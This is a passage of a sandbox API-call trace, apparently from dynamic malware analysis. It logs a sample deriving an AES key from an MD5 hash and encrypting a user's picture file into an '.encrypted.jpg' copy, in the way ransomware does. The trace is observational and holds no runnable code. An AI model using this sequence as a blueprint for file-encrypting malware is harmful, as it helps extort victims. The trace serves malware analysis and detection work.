wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.955] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.955] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.956] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.956] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.956] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.956] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.956] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.956] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.956] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.956] CryptCreateHash (in: hProv=0xe8f406a550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.956] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.957] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.957] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.957] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.957] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.957] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b450, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.957] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.957] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.957] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.957] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.957] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.957] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.957] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.957] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.957] CryptDeriveKey (in: hProv=0xe8f406a550, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0027.957] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.957] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.957] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.957] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.957] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.957] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.957] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.957] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.957] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0027.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.959] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.959] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.959] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.959] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.959] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\1NOjs0ZZ_yk9Vps.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700\\1nojs0zz_yk9vps.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.959] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.959] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.959] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.960] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.960] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.960] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700")) returned 0x10 [0027.960] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\1NOjs0ZZ_yk9Vps.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700\\1nojs0zz_yk9vps.encrypted.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.960] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.961] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.961] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.961] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.962] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.962] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x9852, lpOverlapped=0x0) returned 1 [0027.963] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.965] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.966] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.966] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.966] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.967] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.967] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.967] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.967] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.967] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.967] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064a90, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a90*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.967] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.967] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.967] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.968] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.970] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.970] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.970] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.970] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.970] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.971] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.971] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x9852, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x9860) returned 1 [0027.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.971] CharLowerBuffW (in: lpsz="byte[39009]", cchLength=0xb | out: lpsz="byte[39009]") returned 0xb [0027.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.971] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.972] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.972] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4396950*, pdwDataLen=0xe8f3dfdf68*=0x9852, dwBufLen=0x9860 | out: pbData=0xe8f4396950*, pdwDataLen=0xe8f3dfdf68*=0x9860) returned 1 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.972] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.972] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 